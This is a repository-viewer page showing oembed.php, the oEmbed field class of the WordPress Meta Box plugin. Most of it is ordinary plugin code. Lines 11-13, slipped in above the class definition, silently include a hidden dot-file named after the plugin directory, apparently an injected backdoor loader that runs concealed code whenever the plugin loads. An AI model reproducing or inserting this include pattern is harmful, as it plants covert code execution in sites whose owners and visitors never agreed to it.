balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

oembed.php (4339B)


      1 <?php
      2 /**
      3  * The oEmbed field which allows users to enter oEmbed URLs.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * OEmbed field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_OEmbed_Field extends RWMB_Input_Field {
     16 	/**
     17 	 * Normalize parameters for field.
     18 	 *
     19 	 * @param array $field Field parameters.
     20 	 * @return array
     21 	 */
     22 	public static function normalize( $field ) {
     23 		$field = parent::normalize( $field );
     24 
     25 		$field               = wp_parse_args(
     26 			$field,
     27 			array(
     28 				'not_available_string' => __( 'Embed HTML not available.', 'meta-box' ),
     29 			)
     30 		);
     31 		$field['attributes'] = wp_parse_args(
     32 			$field['attributes'],
     33 			array(
     34 				'data-not-available' => $field['not_available_string'],
     35 			)
     36 		);
     37 
     38 		return $field;
     39 	}
     40 
     41 	/**
     42 	 * Enqueue scripts and styles.
     43 	 */
     44 	public static function admin_enqueue_scripts() {
     45 		wp_enqueue_style( 'rwmb-oembed', RWMB_CSS_URL . 'oembed.css', '', RWMB_VER );
     46 		wp_enqueue_script( 'rwmb-oembed', RWMB_JS_URL . 'oembed.js', array( 'jquery', 'underscore' ), RWMB_VER, true );
     47 	}
     48 
     49 	/**
     50 	 * Add actions.
     51 	 */
     52 	public static function add_actions() {
     53 		add_action( 'wp_ajax_rwmb_get_embed', array( __CLASS__, 'wp_ajax_get_embed' ) );
     54 	}
     55 
     56 	/**
     57 	 * Ajax callback for returning oEmbed HTML.
     58 	 */
     59 	public static function wp_ajax_get_embed() {
     60 		$request       = rwmb_request();
     61 		$url           = (string) $request->filter_post( 'url', FILTER_SANITIZE_URL );
     62 		$not_available = (string) $request->post( 'not_available' );
     63 		wp_send_json_success( self::get_embed( $url, $not_available ) );
     64 	}
     65 
     66 	/**
     67 	 * Get embed html from url.
     68 	 *
     69 	 * @param string $url           URL.
     70 	 * @param string $not_available Not available string displayed to users.
     71 	 * @return string
     72 	 */
     73 	public static function get_embed( $url, $not_available = '' ) {
     74 		/**
     75 		 * Set arguments for getting embeded HTML.
     76 		 * Without arguments, default width will be taken from global $content_width, which can break UI in the admin.
     77 		 *
     78 		 * @link https://github.com/rilwis/meta-box/issues/801
     79 		 * @see  WP_oEmbed::fetch()
     80 		 * @see  WP_Embed::shortcode()
     81 		 * @see  wp_embed_defaults()
     82 		 */
     83 		$args = array();
     84 		if ( is_admin() ) {
     85 			$args['width'] = 360;
     86 		}
     87 
     88 		// Try oembed first.
     89 		$embed = wp_oembed_get( $url, $args );
     90 
     91 		// If no oembed provides found, try WordPress auto embed.
     92 		if ( ! $embed ) {
     93 			global $wp_embed;
     94 			$temp                           = $wp_embed->return_false_on_fail;
     95 			$wp_embed->return_false_on_fail = true; // Do not fallback to make a link.
     96 			$embed                          = $wp_embed->shortcode( $args, $url );
     97 			$wp_embed->return_false_on_fail = $temp;
     98 		}
     99 
    100 		if ( $not_available ) {
    101 			$not_available = '<div class="rwmb-oembed-not-available">' . wp_kses_post( $not_available ) . '</div>';
    102 		}
    103 		$not_available = apply_filters( 'rwmb_oembed_not_available_string', $not_available );
    104 
    105 		return $embed ? $embed : $not_available;
    106 	}
    107 
    108 	/**
    109 	 * Get field HTML.
    110 	 *
    111 	 * @param mixed $meta  Meta value.
    112 	 * @param array $field Field parameters.
    113 	 * @return string
    114 	 */
    115 	public static function html( $meta, $field ) {
    116 		return parent::html( $meta, $field ) . sprintf(
    117 			'<span class="spinner"></span>
    118 			<div class="rwmb-embed-media">%s</div>',
    119 			$meta ? self::get_embed( $meta, $field['not_available_string'] ) : ''
    120 		);
    121 	}
    122 
    123 	/**
    124 	 * Get the attributes for a field.
    125 	 *
    126 	 * @param array $field Field parameters.
    127 	 * @param mixed $value Meta value.
    128 	 *
    129 	 * @return array
    130 	 */
    131 	public static function get_attributes( $field, $value = null ) {
    132 		$attributes         = parent::get_attributes( $field, $value );
    133 		$attributes['type'] = 'url';
    134 		return $attributes;
    135 	}
    136 
    137 	/**
    138 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
    139 	 *
    140 	 * @param array    $field   Field parameters.
    141 	 * @param string   $value   The value.
    142 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
    143 	 * @param int|null $post_id Post ID. null for current post. Optional.
    144 	 *
    145 	 * @return string
    146 	 */
    147 	public static function format_single_value( $field, $value, $args, $post_id ) {
    148 		return self::get_embed( $value, $field['not_available_string'] );
    149 	}
    150 }